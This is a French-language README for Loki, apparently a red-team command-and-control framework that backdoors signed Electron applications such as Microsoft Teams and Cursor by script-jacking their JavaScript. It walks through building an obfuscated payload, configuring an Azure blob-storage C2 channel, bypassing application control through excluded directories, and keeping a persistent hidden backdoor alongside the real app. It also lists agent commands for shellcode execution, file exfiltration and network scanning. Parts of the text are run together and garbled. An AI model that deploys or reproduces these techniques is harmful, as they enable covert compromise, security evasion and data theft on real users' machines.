
🧙♂️ Node.js Command & Control pour le script-jacking d'applications Electron vulnérables
Loki est un framework de commande et contrôle (C2) de stade 1 écrit en Node.js, conçu pour le script-jacking d'applications Electron vulnérables MITRE ATT&CK T1218.015. Développé pour les opérations de red team, Loki permet de contourner les logiciels de sécurité et les contrôles d'applications en exploitant des applications Electron de confiance et signées.
Le script-jacking détourne le flux d'exécution d'une application Electron en modifiant les fichiers JavaScript chargés à l'exécution avec du code Node.js arbitraire. Cette technique peut être utilisée pour :
Bien que plusieurs outils permettent déjà d'exploiter le script-jacking pour chaîner l'exécution vers un autre processus, Loki est le premier à permettre de backdoorer et d'évider des applications Electron signées sans invalider leur signature de code.
Pour plus de détails sur le fonctionnement de Loki, consultez cet article de blog :

| Nom | Contributions |
|---|---|
| Bobby Cooke | Créateur et mainteneur |
| Dylan Tran | Créateur |
| Ellis Springe | Testeur alpha |
| Shawn Jones | Code d'exécution d'assembly |
| Trusted Sec | Code de COFFLoader |
| Simon Exley | Créateur de vidéos |
| Clinton Elves | Créateur de vidéos |
| John Hammond | Créateur de vidéos |
Découvrez cette vidéo de John Hammond sur le backdooring de Cursor AI avec Loki C2 ! 🎩
Découvrez cette vidéo de Simon Exley & Clinton Elves pour démarrer avec Loki C2 ! 🧙♂️
Toutes les commandes de l'agent sont écrites en Node.JS natif et ne nécessitent pas de dépendances supplémentaires ni de chargements de bibliothèques. À l'exception des commandes scexec et assembly qui effectuent un chargement de bibliothèque sur keytar.node et assembly.node
/, les \ dans les chemins ne fonctionneront pas.Set - Chargement des fichiers .node depuis les chemins d'exclusion du contrôle d'applications.node, vous pouvez utiliser la commande set pour modifier les chemins de chargement de assembly.node et scexec.node.ls, cat, cp et mv, vous pourrez peut-être énumérer les règles de contrôle d'applications afin de découvrir un répertoire inscriptible constituant une exclusion..node dans le répertoire d'exclusion et utiliser la commande set pour modifier leur chemin de chargement vers le répertoire d'exclusion afin de contourner le contrôle d'applications.[04-04-2025 8:50AM MST] advsim$ help set
Set the Node load paths for assembly node and scexec nodes
set scexec_path C:/Users/user/AppData/ExcludedApp/scexec.node
set assembly_path C:/Users/user/AppData/ExcludedApp/assembly.node
[04-04-2025 8:51AM MST] advsim$ set scexec_path C:/Users/user/AppData/ExcludedApp/scexec.node
SCEXEC Node Load Path Set to : C:/Users/user/AppData/ExcludedApp/scexec.node
Cliquez ici pour plus d'informations sur les fonctionnalités de l'agent
Cliquez ici pour plus d'informations sur les fonctionnalités du client
Vous devez d'abord identifier une application Electron vulnérable qui n'effectue pas de contrôles d'intégrité de sécurité ASAR, comme Microsoft Teams. Les applications plus récentes peuvent avoir des contrôles d'intégrité empêchant le backdooring. Les versions plus anciennes de l'application cible sont plus susceptibles d'être vulnérables.
Vous n'avez pas besoin de compiler l'agent pour backdoorer des applications Electron. Remplacez simplement le contenu de {ELECTRONAPP}/resources/app/ par les fichiers de l'agent Loki.
cd dans celui-cijavascript-obfuscatornpm install --save-dev javascript-obfuscator
create_agent_payload.js pour créer une payload Loki avec les informations de votre compte de stockagebobby$ node create_agent_payload.js
[+] Provide Azure storage account information:
- Enter Storage Account : 7f7584ty218ba5dba778.blob.core.windows.net
- Enter SAS Token : se=2025-05-28T23%3A14%3A48Z&sp=rwdlac&spr=https&sv=2022-11-02&ss=b&srt=sco&sig=5MXQzJ6FDZK8yYiBSgJ6FDZKgQzJMXBSgg6qE4ydrJ6FDZKSgg%3D
[+] Configuration:
- Storage Account : 7f7584ty218ba5dba778.blob.core.windows.net
- SAS Token : se=2025-05-28T23%3A14%3A48Z&sp=rwdlac&spr=https&sv=2022-11-02&ss=b&srt=sco&sig=5MXQzJ6FDZK8yYiBSgJ6FDZKgQzJMXBSgg6qE4ydrJ6FDZKSgg%3D
- Meta Container : mllyi2zjmafjm
[+] Updated /Users/bobby/apr2/LokiC2/config.js with storage configuration.
- Enter into the Loki Client UI
Loki Client > Configuration
[+] Modifying PE binaries to have new hashes...
- Payload assembly.node hash : e9d126407264821d3c2d324da0e2d1bc13cbc53e7c56340fe12b07f69b707f02
- Payload keytar.node hash : 292c14ffebd6cae3df99d9fbee525e29a5a704f076b82207eb3e650de45b075d
[+] Payload ready!
- Obfuscated payload in the ./app directory
./app/{ELECTRONAPP}/resources/./app/ vers {ELECTRONAPP}/resources/app/Lancez le client GUI Loki
Dans la barre de menus, cliquez sur Loki Client > Configuration pour ouvrir la fenêtre des paramètres
Saisissez les détails de votre compte de stockage et cliquez sur Save

L'agent devrait maintenant apparaître dans le tableau de bord
Cliquez sur l'agent dans le tableau du tableau de bord pour ouvrir la fenêtre de l'agent
Testez pour vous assurer que Loki fonctionne correctement
La façon la plus simple d'utiliser Loki est de remplacer les fichiers dans {ELECTRONAPP}/resources/app/ par les fichiers Loki. Cela évide l'application, ce qui signifie qu'elle ne fonctionnera plus normalement -- Loki a remplacé ses fonctionnalités.
Si vous voulez vraiment garder l'application Electron en cours d'exécution et qu'elle déploie aussi Loki en arrière-plan, tout espoir n'est pas perdu ! John Hammond et moi avons trouvé un moyen de maintenir la véritable application Electron en fonctionnement. Nous avons ajouté le fichier dont vous aurez besoin dans /loki/backdoor/init.js de ce dépôt.
Il est actuellement configuré pour fonctionner avec Cursor, dont la vulnérabilité a été découverte par John Hammond.
Pour ce faire, vous aurez besoin de :
package.json, dans cursor/resources/app/
package.json/loki/backdoor/init.js vers cursor/resources/app/cursor/resources/app/package.json pour :
"main":"init.js","type":"module","private":true,Cursor.exe chargera init.js au clic / à l'exécutioninit.js lit package.jsoninit.js change "main":"init.js", -> "main":"main.js",
main.js est Lokiinit.js lance et détache un nouveau Cursor.exe qui pointe vers Lokiinit.js lit à nouveau package.jsoninit.js change "main":"main.js", ->
Ainsi, l'application est backdoorée de manière persistante et fonctionne normalement. Si l'application Cursor est quittée, Loki continuera de s'exécuter en arrière-plan.
Je créerai un script pour automatiser cela à l'avenir.
Voici les instructions de compilation pour construire les agents et les clients. Les instructions couvrent plusieurs plateformes, notamment Windows, Linux et macOS. Il est recommandé de compiler le client sur la plateforme et l'architecture cibles.
Si vous backdoorrez une application Electron, vous n'avez pas besoin de compiler les agents.
Je ne recommande pas de compiler l'agent et de l'utiliser pour des opérations. Les instructions de compilation de l'agent sont destinées au développement.
~/Downloads/Teams/Teams.exe*.blob.core.windows.netnetstat.exe ou whoami.exepackage.json de Loki sera créé dans ~/AppData/Roaming/{NAME} lorsque le JavaScript de Loki s'exécute dans le processus Electron.%LOCALAPPDATA%\Microsoft\Teams\current\app créé%LOCALAPPDATA%\Microsoft\Teams\current\app.asar créé/modifié par un programme d'installation/mise à jour non-TeamsCe projet est distribué sous la Business Source License 1.1. L'utilisation non commerciale est autorisée selon les termes de la licence. L'utilisation commerciale nécessite l'autorisation explicite de l'auteur. Le 3 avril 2030, cette licence deviendra Apache 2.0. Voir LICENSE pour tous les détails.
| Commande | Description |
|---|
help | Afficher l'aide. Utilisation : help ou help scan |
pwd | Afficher le répertoire de travail |
ls | Lister les fichiers et répertoires |
cat | Afficher le contenu d'un fichier |
env | Afficher les variables d'environnement du processus |
spawn | Lancer un processus enfant |
drives | Lister les lecteurs |
mv | Déplacer un fichier vers une nouvelle destination |
sleep | Mettre en pause pendant des secondes avec jitter |
cp | Copier un fichier source vers une destination |
exit-all | Quitte l'agent, l'agent ne rappellera plus |
load | Charger un fichier PE Node depuis le disque dans le processus |
scexec | Exécuter du shellcode |
assembly | Exécuter un assembly .NET et obtenir la sortie de la commande |
upload | Téléverser un fichier depuis la machine locale de l'opérateur vers la machine distante de l'agent |
download | Télécharger un fichier depuis la machine distante de l'agent vers la machine locale de l'opérateur |
scan | Effectuer un scan réseau TCP sur une plage CIDR avec les ports sélectionnés |
dns | Résolution DNS. Utilise la configuration DNS du système |
set | Définir les chemins de chargement Node pour les nœuds assembly et scexec |
bof | Exécuter un fichier COFF et renvoyer la sortie |
"main":"./out/main.js",./out/main.js" est la véritable application Cursorinit.js lance et détache un nouveau Cursor.exe qui pointe vers le vrai Cursorinit.js intercepte la sortieinit.js lit package.json une troisième foisinit.js change "main":"./out/main.js", -> "main":"init.js",